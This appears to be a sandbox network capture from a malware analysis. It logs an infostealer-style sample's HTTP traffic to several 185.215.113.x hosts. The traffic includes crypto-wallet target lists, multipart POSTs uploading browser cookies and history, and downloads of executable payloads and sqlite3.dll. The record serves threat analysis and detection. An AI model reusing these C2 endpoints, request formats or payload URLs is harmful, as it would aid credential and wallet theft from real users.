Nov 21, 2024 07:10:29.264085054 CET	335	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:29 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 21, 2024 07:10:29.285993099 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBKFIJEGCAAFHJKFCFC Host: 185.215.113.206 Content-Length: 7603 Connection: Keep-Alive Cache-Control: no-cache
Nov 21, 2024 07:10:29.286022902 CET	7603	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 45 42 4b 46 49 4a 45 47 43 41 41 46 48 4a 4b 46 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 35 63 30 63 Data Ascii: ------AEBKFIJEGCAAFHJKFCFCContent-Disposition: form-data; name="token"3a5c0c20f2a9a7e35f80798a036bdc2e7b6e91b98d27b85141166b110d260f3e59c65e08------AEBKFIJEGCAAFHJKFCFCContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 21, 2024 07:10:30.368439913 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 07:10:30.694185019 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 07:10:31.153626919 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49810	185.215.113.16	80	7264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 07:10:26.325047016 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 21, 2024 07:10:27.718872070 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 06:10:27 GMT Content-Type: application/octet-stream Content-Length: 923136 Last-Modified: Thu, 21 Nov 2024 05:10:25 GMT Connection: keep-alive ETag: "673ec0c1-e1600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 b9 c0 3e 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 66 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL>g"fw@pg>@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Nov 21, 2024 07:10:27.718938112 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Nov 21, 2024 07:10:27.718950033 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Nov 21, 2024 07:10:27.718960047 CET	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Nov 21, 2024 07:10:27.718996048 CET	1236	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Nov 21, 2024 07:10:27.719007969 CET	1236	IN	Data Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Nov 21, 2024 07:10:27.719017982 CET	1236	IN	Data Raw: 85 79 02 04 00 38 5f 08 75 1c 8b 47 04 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 46 04 Data Ascii: y8_uGjPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWO
Nov 21, 2024 07:10:27.719084978 CET	1236	IN	Data Raw: a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e c3 55 8b ec 83 ec 40 a1 58 13 4d 00 56 33 f6 a3 04 19 4d 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 3c c7 49 00 89 45 e4 8b 45 10 Data Ascii: MW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVW
Nov 21, 2024 07:10:27.719095945 CET	1236	IN	Data Raw: cc 00 00 00 2d 8f 00 00 00 0f 84 d8 fc 03 00 48 83 e8 01 0f 84 ba fc 03 00 2d ff 01 00 00 0f 84 94 fc 03 00 2d ef 00 00 00 0f 84 8f 00 00 00 3b 3d 28 25 4d 00 0f 84 58 fc 03 00 ff 75 0c ff 75 08 57 56 ff 15 08 c7 49 00 5f 5e 5b 8b e5 5d c3 85 c0 Data Ascii: -H--;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jP
Nov 21, 2024 07:10:27.719105959 CET	1236	IN	Data Raw: 4d 00 ff 53 56 57 33 db c7 05 94 19 4d 00 01 01 01 01 68 58 cb 49 00 89 1d 90 19 4d 00 66 89 1d 98 19 4d 00 c6 05 9a 19 4d 00 01 c7 05 9c 19 4d 00 09 00 00 00 89 1d a8 19 4d 00 e8 0a 66 00 00 68 3c cb 49 00 b9 bc 19 4d 00 e8 fb 65 00 00 b9 cc 19 Data Ascii: MSVW3MhXIMfMMMMfh<IMeMrMrMrM4MMMMMMMMj_MMMMMMMMM M$M0Mrud
Nov 21, 2024 07:10:27.839441061 CET	1236	IN	Data Raw: 53 52 51 ff 15 18 c0 49 00 85 c0 75 4f 8b 45 0c 57 8d 3c 00 8d 45 fc 89 7d fc 50 56 53 53 ff 75 08 ff 75 f8 ff 15 20 c0 49 00 85 c0 75 15 8b 45 fc d1 e8 89 45 fc 3b 45 0c 73 18 33 c9 66 89 0c 46 b3 01 ff 75 f8 ff 15 1c c0 49 00 8a c3 5f 5e 5b c9 Data Ascii: SRQIuOEW<E}PVSSuu IuEE;Es3fFuI_^[3fD72V\|M]8MW3=MZ=@M M@I95(Mv"$Mj4$MYY<F;5(Mr5$M=(MYMM<I5M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49823	185.215.113.43	80	7264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 07:10:32.549561977 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 38 36 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007862001&unit=246122658369
Nov 21, 2024 07:10:33.867813110 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 06:10:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49828	185.215.113.16	80	7264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 07:10:34.150284052 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 21, 2024 07:10:35.450371981 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 06:10:35 GMT Content-Type: application/octet-stream Content-Length: 2772480 Last-Modified: Thu, 21 Nov 2024 05:10:51 GMT Connection: keep-alive ETag: "673ec0db-2a4e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 e4 bc 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +`Ui` @ @.rsrc`2@.idata 8@jbjemqme):@ploemuvx &@.taggant@",@
Nov 21, 2024 07:10:35.450400114 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 07:10:35.450414896 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 07:10:35.450467110 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 07:10:35.450483084 CET	496	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 07:10:35.450500965 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 07:10:35.450515032 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 07:10:35.450587988 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 07:10:35.450853109 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 07:10:35.450867891 CET	1236	IN	Data Raw: b2 37 49 c6 54 4e 70 3e 1e dd 01 76 5c 38 8d 79 bf 11 fc 46 97 20 7c ee d2 15 fe f4 71 31 97 c2 81 53 35 62 c1 0e f2 a9 b1 cc 25 ca ad 7b a2 48 da 83 eb e0 47 41 41 c0 9c c8 18 b1 78 a8 f7 8b 3e 31 5c b6 6b 38 11 fd 71 2a 29 49 67 b8 f1 10 5d 44 Data Ascii: 7ITNp>v\8yF \|q1S5b%{HGAAx>1\k8q*)Ig]D>)dOB%#:5jiJCw2VyQgku\y0M><M>GSv@yffC-?@?gFMKMYB'H%j\:4Nm^[ODGWc
Nov 21, 2024 07:10:35.570189953 CET	1236	IN	Data Raw: 51 ad 3c 04 7d a8 23 76 91 4c 71 4d af 85 71 d4 93 d4 ce 84 af c0 11 ba f3 8f f3 fc cc cf 3c 4c 63 d4 c2 4e 20 83 40 26 99 22 26 9e 27 79 4f 82 9f 35 ee 73 2b 92 0b e6 6d 92 54 fa 25 13 3b d7 d6 2d 47 e7 f1 71 19 c5 e3 1c 04 bc e0 7e d0 95 92 b1 Data Ascii: Q<}#vLqMq<LcN @&"&'yO5s+mT%;-Gq~9}y+Dl<3;qR_wmeL[KSrQJ\|y\|q%mG`z\`Nih~Qz2T)dHXruIGsE%eL/3@.uE1Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49867	185.215.113.206	80	7936	C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 07:10:41.764986992 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEHDBAAECBFHJKFCFBF Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 35 63 30 63 32 30 66 32 61 39 61 37 65 33 35 66 38 30 37 39 38 61 30 33 36 62 64 63 32 65 37 62 36 65 39 31 62 39 38 64 32 37 62 38 35 31 34 31 31 36 36 62 31 31 30 64 32 36 30 66 33 65 35 39 63 36 35 65 30 38 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="token"3a5c0c20f2a9a7e35f80798a036bdc2e7b6e91b98d27b85141166b110d260f3e59c65e08------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------CAEHDBAAECBFHJKFCFBF--
Nov 21, 2024 07:10:43.658265114 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 07:10:43.776056051 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAAEHJDBKJJKFHJEBKF Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Nov 21, 2024 07:10:43.776108980 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 35 63 30 63 Data Ascii: ------FCAAEHJDBKJJKFHJEBKFContent-Disposition: form-data; name="token"3a5c0c20f2a9a7e35f80798a036bdc2e7b6e91b98d27b85141166b110d260f3e59c65e08------FCAAEHJDBKJJKFHJEBKFContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Nov 21, 2024 07:10:44.730365992 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 07:10:44.896493912 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFCBKJDBFIJKFHIIDAA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 35 63 30 63 32 30 66 32 61 39 61 37 65 33 35 66 38 30 37 39 38 61 30 33 36 62 64 63 32 65 37 62 36 65 39 31 62 39 38 64 32 37 62 38 35 31 34 31 31 36 36 62 31 31 30 64 32 36 30 66 33 65 35 39 63 36 35 65 30 38 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECFCBKJDBFIJKFHIIDAAContent-Disposition: form-data; name="token"3a5c0c20f2a9a7e35f80798a036bdc2e7b6e91b98d27b85141166b110d260f3e59c65e08------ECFCBKJDBFIJKFHIIDAAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECFCBKJDBFIJKFHIIDAAContent-Disposition: form-data; name="file"------ECFCBKJDBFIJKFHIIDAA--
Nov 21, 2024 07:10:45.848138094 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 07:10:46.830276966 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIJKEHCAKFCAKFHDAAA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 35 63 30 63 32 30 66 32 61 39 61 37 65 33 35 66 38 30 37 39 38 61 30 33 36 62 64 63 32 65 37 62 36 65 39 31 62 39 38 64 32 37 62 38 35 31 34 31 31 36 36 62 31 31 30 64 32 36 30 66 33 65 35 39 63 36 35 65 30 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; 